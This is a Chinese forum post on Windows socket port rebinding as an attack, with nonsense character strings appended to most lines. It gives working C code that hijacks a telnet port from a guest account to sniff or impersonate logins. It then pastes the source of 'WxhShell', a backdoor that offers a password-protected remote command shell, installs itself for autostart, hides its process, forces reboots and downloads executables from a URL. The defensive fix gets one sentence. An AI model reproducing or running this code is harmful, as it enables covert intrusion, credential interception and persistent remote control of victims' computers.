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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: rahHJp.Ws  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); >/ *?4  
EOd.Tyb!/  
  saddr.sin_family = AF_INET; *IMF4 x5M  
>oM9~7f  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); S0Rf>Eo4  
7?n* t  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); (hRgYwUa<  
89:?.'  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 mVc'%cPaw  
{2'74  
  这意味着什么?意味着可以进行如下的攻击: } kh/mq  
+O.&64(  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Egjk^:@  
9TbS>o  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) q/d5P  
 1pYmtr  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 0`g}(}'L  
`JY>v io  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  |p=.Gg=2  
$v?! 6:  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ,J`lr U0  
@4 Os?_gJ\  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 -N-4l  
%>I?'y^  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 c'TiWZP~  
Y*5@|Q  
  #include M&}oat*  
  #include _!$Up  
  #include Z;"4$@|qE  
  #include    ' q=NTP  
  DWORD WINAPI ClientThread(LPVOID lpParam);   x3Dg%=R  
  int main() c4qp3B_w  
  { M'>D[5;N~  
  WORD wVersionRequested; \M'bY:  
  DWORD ret; m_r@t*  
  WSADATA wsaData; x[.z"$T@  
  BOOL val; <x>k3bD  
  SOCKADDR_IN saddr; 5m%baf2_  
  SOCKADDR_IN scaddr; alb+R$s  
  int err; Yt O@n@1  
  SOCKET s; u75)>^:I   
  SOCKET sc; <L!~f`nH2  
  int caddsize; U4^p({\|-  
  HANDLE mt; CL<KBmW7  
  DWORD tid;   ,XBV}y  
  wVersionRequested = MAKEWORD( 2, 2 ); Dbkuh!R  
  err = WSAStartup( wVersionRequested, &wsaData ); sBuq  
  if ( err != 0 ) { Q'Q72Fg  
  printf("error!WSAStartup failed!\n"); q. ,p6D  
  return -1; \/x)BE,  
  } &[W3e3Asra  
  saddr.sin_family = AF_INET; *k@0:a(>  
   jV|$? Rcl%  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 LBbo.KxAe3  
$@:>7Y"  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ]` &[Se d  
  saddr.sin_port = htons(23); D"( 3VIglq  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) TW-zh~|F  
  { Vx7Dl{?{'  
  printf("error!socket failed!\n"); NbdMec  
  return -1; hI>rtaY_  
  } B;D:9K  
  val = TRUE; . ;ea]_Z  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 nX.sh  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) dx?njR  
  { r3BDq  
  printf("error!setsockopt failed!\n"); MLv.v&@S  
  return -1; VT.{[Kl  
  }  8H%I|fm  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; zoJkDr=jn  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Z 9 q{r s  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 HA3SQ  
C}8e<[} )  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Vf,~MG  
  { !+|N<`  
  ret=GetLastError(); C$..w80/1  
  printf("error!bind failed!\n"); (61twutC  
  return -1; Y9co?!J 5M  
  } Y=WN4w  
  listen(s,2); }96/: ;:k  
  while(1) 2t`9_zqLw  
  { M;vlQ"Yl'  
  caddsize = sizeof(scaddr); amk42  
  //接受连接请求 ,TfI  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); {,-5k.P[  
  if(sc!=INVALID_SOCKET) < jocfTBk  
  { .^`a6>EQ)|  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ,d [b"]Zy  
  if(mt==NULL) O3w_vm'  
  { /YugQ.>| l  
  printf("Thread Creat Failed!\n"); }Cq9{0by?a  
  break; :'=~/GR  
  } W1vAK  
  } XpAq=p0;  
  CloseHandle(mt); L ugk`NUvF  
  } Cp~3Jm3  
  closesocket(s); IIt^e#s&  
  WSACleanup(); (.XDf3   
  return 0; tm36Lw  
  }   b\|p  
  DWORD WINAPI ClientThread(LPVOID lpParam) "/K&qj  
  { w<F;&' ;@h  
  SOCKET ss = (SOCKET)lpParam; #NQz&4W  
  SOCKET sc; 6<Pg>Bg  
  unsigned char buf[4096]; + x ;ML  
  SOCKADDR_IN saddr; 5N3!!FFE  
  long num; HfeflGme*  
  DWORD val; ]R0A{+]n  
  DWORD ret; 2}#wd J`  
  //如果是隐藏端口应用的话,可以在此处加一些判断 feq6!k7  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   kx:lk+Tx  
  saddr.sin_family = AF_INET; W!4V: (T  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); A7,$y!D  
  saddr.sin_port = htons(23); 2p;}wYt  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) n.qxxzEN  
  { Z"%O&O  
  printf("error!socket failed!\n"); /%q9hI   
  return -1; Nj@?}`C 4  
  } \`%Y-!H+v  
  val = 100; QVRokI`BF  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) DEwtP  
  { -.Pu5et4  
  ret = GetLastError(); Wo WM  
  return -1; ://# %SE  
  } ]E8<;t)#  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 6RT0\^X*:  
  { >\oJ&gdc  
  ret = GetLastError(); {7~ $$AR(  
  return -1; IweK!,:>dN  
  } $Ex 9  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) zf;[nz  
  { 16> >4U:Y  
  printf("error!socket connect failed!\n"); 674oL,  
  closesocket(sc); d|?(c~  
  closesocket(ss); >8fz ?A  
  return -1; tDLk ZCP  
  } Qx,$)|_  
  while(1) 3(GrDO9^  
  { eP)YJe 3  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 "%f5ltut3  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 \/4%[Q2QDm  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 S{)n0/_  
  num = recv(ss,buf,4096,0); [11-`v0  
  if(num>0) A%w]~ chC9  
  send(sc,buf,num,0); }:D~yEP  
  else if(num==0) Z a1|fB  
  break; 56 kgL;$h  
  num = recv(sc,buf,4096,0); FR6I+@ oX~  
  if(num>0) ]%Yis=v  
  send(ss,buf,num,0); k42ur)pb  
  else if(num==0) sv6U%qV  
  break; DMxS-hl  
  } +G[HZ,FL  
  closesocket(ss); |mE +f]7$  
  closesocket(sc); H|:)K^o  
  return 0 ; P$ dgO  
  } Z *<x  
 aC }1]7  
m#K%dR  
========================================================== I \%Lb z  
>h( rd1  
下边附上一个代码,,WXhSHELL `FB?cPR  
hSKH#NS  
========================================================== Nu2]~W&  
#!&R7/ KdD  
#include "stdafx.h" ec[[OIO  
/\$|D&e  
#include <stdio.h> KeHE\Fq^V  
#include <string.h> KB *#t  
#include <windows.h> g2>u]3&W  
#include <winsock2.h> wJR i;fvi  
#include <winsvc.h> H1j6.i}q  
#include <urlmon.h> qe"6#@b *|  
<07W&`Dw  
#pragma comment (lib, "Ws2_32.lib") sr@XumT  
#pragma comment (lib, "urlmon.lib") }_/h~D9-T#  
^W[`##,{Od  
#define MAX_USER   100 // 最大客户端连接数 4-rI4A<  
#define BUF_SOCK   200 // sock buffer L{,7(C=  
#define KEY_BUFF   255 // 输入 buffer x&/Syb  
GhQ`{iJM  
#define REBOOT     0   // 重启 kDP^[V P+  
#define SHUTDOWN   1   // 关机 5{/Pn%5  
.-~% w  
#define DEF_PORT   5000 // 监听端口 ` "":   
 mFoK76  
#define REG_LEN     16   // 注册表键长度 9x^ /kAB  
#define SVC_LEN     80   // NT服务名长度 AbI*/ |sY  
4x?u5L 9o  
// 从dll定义API 9.#R?YP$  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); >8;%F<o2  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); d4h(F,K7V  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); C{,] 1X6g  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); zYF&Dv/u/  
)0d".Q|v4  
// wxhshell配置信息  KP-z  
struct WSCFG { -t'oW*kdL  
  int ws_port;         // 监听端口 vk+%#w  
  char ws_passstr[REG_LEN]; // 口令 UMW^0>Z!v  
  int ws_autoins;       // 安装标记, 1=yes 0=no $hp?5K M  
  char ws_regname[REG_LEN]; // 注册表键名 (IHBib "  
  char ws_svcname[REG_LEN]; // 服务名 E^W*'D  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 RW[<e   
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 \0T*msYQ  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Xt*%"7yTp  
int ws_downexe;       // 下载执行标记, 1=yes 0=no f/i,Zw  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" +9rbQ? '  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 J3S+| x h~  
-?`l<y(  
}; N_[ Q.HD"  
w/W?/1P>q  
// default Wxhshell configuration ~EkGG .  
struct WSCFG wscfg={DEF_PORT, Q09~vFBg  
    "xuhuanlingzhe", 58'y~Ou  
    1, H>X1(sh#}  
    "Wxhshell", afq +;Sh  
    "Wxhshell", n(O p<  
            "WxhShell Service", IMrOPwjc  
    "Wrsky Windows CmdShell Service", [y;ZbfMP|o  
    "Please Input Your Password: ", (MiOrzT  
  1, }(}vlL  
  "http://www.wrsky.com/wxhshell.exe", %)ov,p |  
  "Wxhshell.exe" T\CQ  
    }; ,5uDEXpt{  
i1@gHk  
// 消息定义模块 ibUPd."W  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; v$/i5kcWx  
char *msg_ws_prompt="\n\r? for help\n\r#>"; >Mw =}g@P  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; v+o3r]Y6  
char *msg_ws_ext="\n\rExit."; bJ!f,a'/  
char *msg_ws_end="\n\rQuit.";  grA L4  
char *msg_ws_boot="\n\rReboot..."; r74w[6(  
char *msg_ws_poff="\n\rShutdown..."; s(Bi& C\  
char *msg_ws_down="\n\rSave to "; 0MGK3o)  
[z@RgDX v  
char *msg_ws_err="\n\rErr!"; *`'%tp"'+  
char *msg_ws_ok="\n\rOK!"; ,8 ?*U]}  
&?sjeC_  
char ExeFile[MAX_PATH]; Cs=i9.-A  
int nUser = 0; =C1Qo#QQ%  
HANDLE handles[MAX_USER]; ([o:_5/8I  
int OsIsNt; Y,}43a0A  
J uKaRR~  
SERVICE_STATUS       serviceStatus; ,?~,"IQyi[  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; CGl+!t{  
irj}:f;!eF  
// 函数声明 |ema-pRC  
int Install(void); Vzm7xl [  
int Uninstall(void); ZaindX{.1  
int DownloadFile(char *sURL, SOCKET wsh); 6.=1k  
int Boot(int flag); vGp@YABM  
void HideProc(void); tzJtd  
int GetOsVer(void); c2:kZxT  
int Wxhshell(SOCKET wsl); _tJURk%  
void TalkWithClient(void *cs); }kefrT  
int CmdShell(SOCKET sock); ~2ei+#d!^  
int StartFromService(void); |q)Q <%VS'  
int StartWxhshell(LPSTR lpCmdLine); A~SSu.L@  
Mn;CG'FA  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); c4W"CD;D  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 90D.G_45  
X]%4QIeS  
// 数据结构和表定义 o;/F=Zp  
SERVICE_TABLE_ENTRY DispatchTable[] = 8GQs9  
{ U<byR!qLie  
{wscfg.ws_svcname, NTServiceMain}, (7!(e  ,  
{NULL, NULL} vG:,oB}  
}; {'aqOlw3<j  
vjS7nR"T  
// 自我安装 g&5VorGx  
int Install(void) tvCTC ey  
{ 8#-}3~l[  
  char svExeFile[MAX_PATH]; <rxem(PPu  
  HKEY key; e$I:[>  
  strcpy(svExeFile,ExeFile); )+R3C%  
HXo'^^}q;  
// 如果是win9x系统,修改注册表设为自启动 5|z[%x~f  
if(!OsIsNt) { lR^Qm|  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 6 VDF@V$E  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 'o9V0#$!  
  RegCloseKey(key); Y :BrAa[  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { K 2v)"|T)  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); {a%cU[q  
  RegCloseKey(key); FQ^uX]<3j  
  return 0; \?}.+v  
    } mt7:`-  
  } :7*\|2zA  
} Pfy;/}u^c  
else { <!$Cvx\U  
wt,N<L  
// 如果是NT以上系统,安装为系统服务 rMloj8O*  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); m!if_Iq  
if (schSCManager!=0) K?WqAVK  
{ ).b+S>k  
  SC_HANDLE schService = CreateService l>q.BG  
  ( :g_ +{4  
  schSCManager, d^>se'ya  
  wscfg.ws_svcname, Id1[}B-T  
  wscfg.ws_svcdisp, -2 ?fg   
  SERVICE_ALL_ACCESS, 2N#L'v@g=+  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , T3Fh7S /  
  SERVICE_AUTO_START, :6{HFMf"  
  SERVICE_ERROR_NORMAL, |3@]5f&  
  svExeFile, 'KG`{K$  
  NULL, ]ORat.*0[T  
  NULL, $R4\jIew V  
  NULL, ,pepr9Yd  
  NULL, ^jA}*YP  
  NULL #{sb>^BF  
  ); I`1=VC]^8  
  if (schService!=0) \ 02e zG  
  { euK!JZ  
  CloseServiceHandle(schService); .quc i(D  
  CloseServiceHandle(schSCManager); ['j,S<Bu~  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); oQO3:2a  
  strcat(svExeFile,wscfg.ws_svcname); \GP c_m:qL  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { A+&Va\|x  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Ho|n\7$  
  RegCloseKey(key); uqH ;1T;s  
  return 0; un=)k;oh  
    } o,I642R~  
  } A}# Mrb  
  CloseServiceHandle(schSCManager); -B!pg7>'##  
} /@e\I0P^  
} I&0yUhn  
|n/id(R+  
return 1; CJ b ~~  
} cj)~7 WF  
eS|p3jk;  
// 自我卸载 ( d.i np(  
int Uninstall(void) >6j`ZWab>  
{ >LSA?dy!?  
  HKEY key; 52,a5TVG  
7 5u*ZMK  
if(!OsIsNt) { %iNDRLR%I  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { |xOOdy6 )~  
  RegDeleteValue(key,wscfg.ws_regname); 3 -FNd~%  
  RegCloseKey(key); `)fGw7J {  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { usi p>y  
  RegDeleteValue(key,wscfg.ws_regname); Ws(>} qjy  
  RegCloseKey(key); R_ }(p2  
  return 0; <rI~+J]s  
  } czzV2P/t}  
} ] $*cmk(Y  
} Qn7e6u@V  
else { h2]Od(^[  
ohl%<FqS  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); @lI/g  
if (schSCManager!=0) ORTM [cL  
{ EUgs2Fsb3  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); VTdZ&%@  
  if (schService!=0) ?{V[bm  
  { |r%P.f:y{X  
  if(DeleteService(schService)!=0) { $) $sApB  
  CloseServiceHandle(schService); #S5vX<"9  
  CloseServiceHandle(schSCManager); RVe3@|9(G  
  return 0;  xMU)  
  } ~i4@sz&  
  CloseServiceHandle(schService); \l~h#1|%;s  
  } 6pse @x?  
  CloseServiceHandle(schSCManager); zc"eSy< w$  
} LY MfoXp  
} 4^5s\ f B  
:?TV6M  
return 1; h) rHf3:  
} /T@lHxX  
d=pq+  
// 从指定url下载文件 T&%>/7I>  
int DownloadFile(char *sURL, SOCKET wsh) &uM?DQ`o8  
{ dxA=gL2  
  HRESULT hr; k&2I(2S  
char seps[]= "/"; 03xQ%"TU<  
char *token; x]:mc%4-Z  
char *file; dNR4h  
char myURL[MAX_PATH]; |@ + x9|'W  
char myFILE[MAX_PATH]; :;EzvRy  
Nuj%8om6  
strcpy(myURL,sURL); J_,y?}.e3  
  token=strtok(myURL,seps); 8K qv)FjB  
  while(token!=NULL) !O\r[c  
  { '*pq@|q;t  
    file=token; {`:!=  
  token=strtok(NULL,seps); R] dB Uu  
  } I4$a#;  
,SBL~JJ  
GetCurrentDirectory(MAX_PATH,myFILE); 2Y,s58F  
strcat(myFILE, "\\"); @`3)?J[w  
strcat(myFILE, file); '=r.rW5  
  send(wsh,myFILE,strlen(myFILE),0); k$zDofdfp  
send(wsh,"...",3,0); C$_H)I  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); h1"#DnK7  
  if(hr==S_OK) ' ySWf,Q^  
return 0; 6Z3v]X  
else ,J[sg7v cv  
return 1; L6FUC6x"  
r8qee$^M  
} 607#d):Y  
J&5|'yVX  
// 系统电源模块 "_^FRz#h  
int Boot(int flag) 7YsFe6D"  
{ cNHN h[ C  
  HANDLE hToken; _L"rygit  
  TOKEN_PRIVILEGES tkp; ve$P=ZuM  
OS3J,f}<=  
  if(OsIsNt) { OIN]u{S  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); (GZm+?  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); g\ke,r6  
    tkp.PrivilegeCount = 1; ]fR 3f  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; V!oyC$eV  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); `jJb) z3D  
if(flag==REBOOT) { :Qf^@TS}O  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 6D$xG"c  
  return 0; P~~RK& +i  
} cu Nwv(P  
else { "k+QDQ3=  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) P)T:6K  
  return 0; Dv$xP)./  
} .EI/0"^  
  } J%nJO3,  
  else { X/@Gx 4  
if(flag==REBOOT) { pgI@[zp7  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) sg3%n0Ms.W  
  return 0; k07O.9>  
} S>6APQ-   
else { ohwQ%NDl  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) @x)z" )>  
  return 0; :`_wy-}V  
} <)M?qkjb  
} ct/I85c@P  
y&iLhd!p  
return 1;  X'0A"9  
} >~6 ;9{@  
*? c~7ru  
// win9x进程隐藏模块 zj8;ENhEI  
void HideProc(void) Y yI|^f8C  
{ BKN]DxJ6  
%bddR;c  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); &vLZj  
  if ( hKernel != NULL ) Jg7IGU(dct  
  { ,Qp58u2V  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); nwz}&nR  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 1 }:k w  
    FreeLibrary(hKernel); hj-M #a  
  } Z#9{1sHEP  
]E`DG  
return; }O_6wi  
} ,"DkMK4%  
ZV&=B%J bs  
// 获取操作系统版本 %!WQ;(  
int GetOsVer(void) wLW!_D,/R  
{  Wkf)4!  
  OSVERSIONINFO winfo; 1,4kw~tA  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); $)kIYM&  
  GetVersionEx(&winfo); xe}"0'g  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) I5  
  return 1; M[N|HsI8?  
  else dlyE2MiL:  
  return 0; u'}DG#@-  
} eE1w<] Eg  
iHTxD1 D+H  
// 客户端句柄模块 anv_I=  
int Wxhshell(SOCKET wsl) G3KiU($V  
{ W/fM0=!  
  SOCKET wsh; GAQVeL1  
  struct sockaddr_in client; ~bg FU  
  DWORD myID; R9{6$djq\:  
E-l>z%  
  while(nUser<MAX_USER) 9erTb?@S  
{ jMgNi@  
  int nSize=sizeof(client); O75ioO0  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); D*heYh  
  if(wsh==INVALID_SOCKET) return 1; BoFJ8Ukq|  
7HFw*;  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); oU67<jq  
if(handles[nUser]==0) AM\`v'I*6  
  closesocket(wsh); 1Hzj-u&N/  
else <` HLG2  
  nUser++; 'j>Q7M7q{  
  } )0!hw|0|  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); _bFX(~37z?  
S__+S7]Nr  
  return 0; ^-rb&kW@:  
} <.~j:GbsE  
%WdAI,  
// 关闭 socket ar R)]gk 7  
void CloseIt(SOCKET wsh) RfFeAg,]/  
{ 5q@o,d  
closesocket(wsh); i yMIP~N,$  
nUser--; ."cC^og  
ExitThread(0); ig3uY#  
} 1NA>W   
R /iB  
// 客户端请求句柄 ^+!!:J|ra  
void TalkWithClient(void *cs) ^?w6  
{ F~z4T/TN%G  
9^>nZ6  
  SOCKET wsh=(SOCKET)cs; `nn;E% n  
  char pwd[SVC_LEN]; BIS5u4  
  char cmd[KEY_BUFF]; ga0W;Vq&X  
char chr[1]; kx*=1AfU+Y  
int i,j; vxY7/_]  
[Nsv]Yz  
  while (nUser < MAX_USER) { HP"5*C5D  
*b~$|H-\  
if(wscfg.ws_passstr) { p e |k}{  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); rWAJL9M  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ,"5Fw4G6*  
  //ZeroMemory(pwd,KEY_BUFF); O~Pb u[C  
      i=0; ?tg(X[h{S  
  while(i<SVC_LEN) { LeXu Td  
yLG`tU1  
  // 设置超时 x~Y]c"'D  
  fd_set FdRead; ,accw}G  
  struct timeval TimeOut; tBp dKJn##  
  FD_ZERO(&FdRead); d%\en&:la  
  FD_SET(wsh,&FdRead); d 6j'[  
  TimeOut.tv_sec=8; (khjP ,  
  TimeOut.tv_usec=0; ?kISAA4x  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); x)5#*Q  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); <Hig,(=`.  
?3k;Yg/  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); QzCu$ [  
  pwd=chr[0];  ze{  
  if(chr[0]==0xd || chr[0]==0xa) { 9g|o17  
  pwd=0; tFO86 !ln  
  break; BbnY9"  
  } ~;9B\fE`  
  i++; < Pg4>  
    } #'_i6  
R=_ fk  
  // 如果是非法用户,关闭 socket R6ca;  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); *&^`Uk,[  
} $x)C_WZj?  
v=RQ"iv8  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); [2WJ>2r}6  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); mtOCk 5E  
E0o=  
while(1) { z%<Z#5_N  
&J,MJ{w6"  
  ZeroMemory(cmd,KEY_BUFF); YP5V~-O/  
L*"Q5NzB]  
      // 自动支持客户端 telnet标准   37Q9goMov  
  j=0; Z4b<$t[u  
  while(j<KEY_BUFF) { 0V }knR.l  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 'x$>h)t]  
  cmd[j]=chr[0]; >T'^&l(:  
  if(chr[0]==0xa || chr[0]==0xd) { CuR.a  
  cmd[j]=0; Wz`MEyj  
  break; Hw-,sze j"  
  } |W[BqQIf  
  j++; 3){ /u$iH.  
    } Xb@lKX5Re  
"u@)   
  // 下载文件 {R5Q{]dK3  
  if(strstr(cmd,"http://")) { w z}BH  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); xxLD8?@e7  
  if(DownloadFile(cmd,wsh)) FFQ=<(Ki  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); xPl+ rsU  
  else =$`EB  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :<=A1>&8  
  } U ]Ek 5p  
  else { eZ'J,;  
s,!+wHv_8  
    switch(cmd[0]) { ?ey!wcv~  
  *G"L]Nq#  
  // 帮助 +] s"*'V$  
  case '?': { hN=YC\l  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); QVA)&k'T,  
    break; 2m7Z:b  
  } 38ChS.(  
  // 安装 cy%JJ)sf  
  case 'i': { _ +q.R  
    if(Install()) Oc8]A=M12  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); z%Pbs[*C  
    else (,z0V+ !  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); = Bz yI  
    break; G}<%%U D  
    } 3GqvL_  
  // 卸载 U bUl]  
  case 'r': { ? BtWM4Id8  
    if(Uninstall()) !Bcd\]q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); w 4-E@>%  
    else G$kspN*"A  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2Z!%Q}Do  
    break; ,1J+3ugp&  
    } V4@ HIM  
  // 显示 wxhshell 所在路径 wH&[Tg  
  case 'p': { Z#0hh%E"|y  
    char svExeFile[MAX_PATH]; Y??8P  
    strcpy(svExeFile,"\n\r"); BIovPvq;i  
      strcat(svExeFile,ExeFile); mF7T=pl  
        send(wsh,svExeFile,strlen(svExeFile),0); 6EfGJq  
    break; yU`"]6(@[  
    } g).k+  
  // 重启 Lx6C fR  
  case 'b': { p^S]O\;M7  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); |wW_Z!fL  
    if(Boot(REBOOT)) 9)N/J\b  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .hd<,\nW  
    else { = zJY5@^'7  
    closesocket(wsh); UlF=,0P  
    ExitThread(0); 9U$n;uA  
    } j{PuZ^v1  
    break; o_C j o  
    } t F^|,9_<  
  // 关机 eJD !dGa  
  case 'd': { /|v:$iH,C  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); z'FD{xdf  
